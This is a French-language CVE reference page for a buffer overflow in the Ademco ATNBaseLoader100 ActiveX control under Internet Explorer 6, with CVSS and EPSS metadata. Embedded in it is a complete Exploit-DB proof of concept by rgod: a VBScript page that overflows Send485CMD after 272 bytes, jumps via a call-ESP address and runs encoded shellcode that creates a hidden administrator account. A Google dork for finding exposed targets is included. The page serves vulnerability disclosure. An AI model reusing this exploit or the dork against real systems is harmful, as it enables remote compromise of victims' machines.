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Descriptions du CVE
Buffer overflow in the BaseRunner ActiveX control in the Ademco ATNBaseLoader100 Module (ATNBaseLoader100.dll) 5.4.0.6, when Internet Explorer 6 is used, allows remote attackers to execute arbitrary code via a long argument to the (1) Send485CMD method, and possibly the (2) SetLoginID, (3) AddSite, (4) SetScreen, and (5) SetVideoServer methods.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 10 | AV:N/AC:L/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 3993
Date de publication : 2007-05-25 22h00 +00:00
Auteur : rgod
EDB Vérifié : Yes
<!--
IE 6 / Ademco, co., ltd. ATNBaseLoader100 Module ATNBaseLoader100.dll (5, 4, 0, 6)
remote buffer overflow exploit / XP SP2 it version
by rgod
site: retrogod.altervista.org
this activex is installed browsing some webcam pages
try this google dork:
intitle:"Browser Launch Page"
(dork credit: dragg, found in GHDB)
object safety report:
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
here it is what happen, EIP is overwritten after 272 chars passed to
Send485CMD method:
EAX 00000001
ECX 0013EA7C ASCII "AAAA ...
EDX 7EFF00E4
EBX 10007414
ESP 0013EB98 ASCII "AAAA ...
EBP 41414141
ESI 0018022C
EDI 00000000
EIP 41414141
SetLoginID, AddSite, SetScreen, SetVideoServer methods are also vulnerable
to less convenient overflows or seh overwrite
-->
<HTML>
<OBJECT CLASSID='clsid:4C1AB3D8-8107-4BC8-AEEE-38ECF8A94A12' ID='BaseRunner' ></OBJECT>
<script language='vbscript'>
'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add
SCODE = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44") + NOP
NOP= String(12, unescape("%90"))
EIP= unescape("%03%78%41%7e") 'call ESP user32.dll
SunTzu=String(272, "A") + EIP + NOP + SCODE
BaseRunner.Send485CMD SunTzu
</script>
</HTML>
# milw0rm.com [2007-05-26]
Products Mentioned
Configuraton 0
Honeywell>>Ademco_atnbaseloader100_module >> Version 5.4.0.6
Microsoft>>Internet_explorer >> Version 6
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
